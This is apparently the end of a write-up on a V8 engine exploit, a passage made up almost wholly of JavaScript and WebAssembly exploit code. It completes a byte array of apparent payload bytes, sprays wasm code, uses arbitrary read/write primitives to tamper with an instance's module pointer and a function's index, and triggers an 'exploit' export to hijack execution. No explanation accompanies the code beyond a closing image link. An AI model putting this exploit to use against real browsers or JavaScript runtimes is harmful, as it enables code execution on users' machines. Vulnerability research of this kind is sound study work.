0x00, 0x01, 0x0b, 0x03, 0x00, 0x01,  0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01,  0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01,  0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01,  0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01,  0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01,  0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01,  0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01,  0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01,  0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01,  0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01,  0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01,  0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01,  0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01,  0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01,  0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01,  0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01,  0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01,  0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01,  0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01,  0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01,  0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01,  0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x01,  0x0b, 0x07, 0x00, 0x43, 0x8f, 0xc2, 0x75, 0x3c, 0x0b
  ]);
  let wasm_mod_2 = new WebAssembly.Module(wasm_code_2);
  let wasm_instance_2 = new WebAssembly.Instance(wasm_mod_2);
  
  spray = wasm_instance_0.exports.spray;
  spray();
  %DebugPrint(spray);
  
  
  indirect = wasm_instance_0.exports.indirect;
  
  // %DebugPrint(wasm_instance_0)
  console.log("[*] Gathering info about Wasm Instance 0");
  let addr_wasm_instance_0 = addrOf(wasm_instance_0);
  let addr_wasm_module_0 = v8_read64(addr_wasm_instance_0+0x10);
  
  console.log("\t[i] Wasm Instance 0: ", ToHex(addr_wasm_instance_0));
  console.log("\t[i] Wasm Module 0: ", ToHex(addr_wasm_module_0));
  console.log();
  
  console.log("[*] Gathering info about Wasm Instance 2");
  let addr_wasm_instance_2 = addrOf(wasm_instance_2);
  let addr_wasm_module_2 = v8_read64(addr_wasm_instance_2+0x10) & 0xFFFFFFFFn;
  
  console.log("\t[i] Wasm Instance 2: ", ToHex(addr_wasm_instance_2));
  console.log("\t[i] Wasm Module 2: ", ToHex(addr_wasm_module_2));
  console.log();
  
  console.log("[*] Gathering info about Wasm Exported Function");
  let addr_wasm_function = addrOf(indirect);
  let shared_info = v8_read64(addr_wasm_function+0x10) & 0xFFFFFFFFn;
  let function_data = v8_read64(shared_info-1n+0x8n) & 0xFFFFFFFFn;
  let addr_function_data_index = function_data-1n+0x14n;
  
  console.log("\t[i] Wasm Function: ", ToHex(addr_wasm_function));
  console.log("\t[i] Wasm Function Shared Info: ",ToHex(shared_info));
  console.log("\t[i] Wasm Function Data: ", ToHex(function_data));
  console.log("\t[i] Wasm Function Data Index Addr: ", ToHex(addr_function_data_index));
  
  console.log("[*] Writing new index in Wasm Function Data");
  current_value  = v8_read64(addr_function_data_index);
  console.log("\t[i] Current Function data index: ", ToHex(current_value));
  console.log("\t[i] New Function data index: ", ToHex(current_value & 0xffffffff00000000n | smi(401n)));
  v8_write64(addr_function_data_index, ToHex(current_value & 0xffffffff00000000n | smi(401n)));
  
  console.log("[*] Writing module 2 in instance 0");
  console.log("\t[i] Current Module 0: ", ToHex(addr_wasm_module_0));
  console.log("\t[i] New Module 0: ", ToHex(addr_wasm_module_0 & 0xffffffff00000000n | addr_wasm_module_2));
  v8_write64(addr_wasm_instance_0+0x10, ToHex(addr_wasm_module_0 & 0xffffffff00000000n | addr_wasm_module_2));

  rtb.set(0, indirect);
  wasm_instance_1.exports.exploit(1337);
```
    
![image](https://hackmd.io/_uploads/By-vk1TJJg.png)
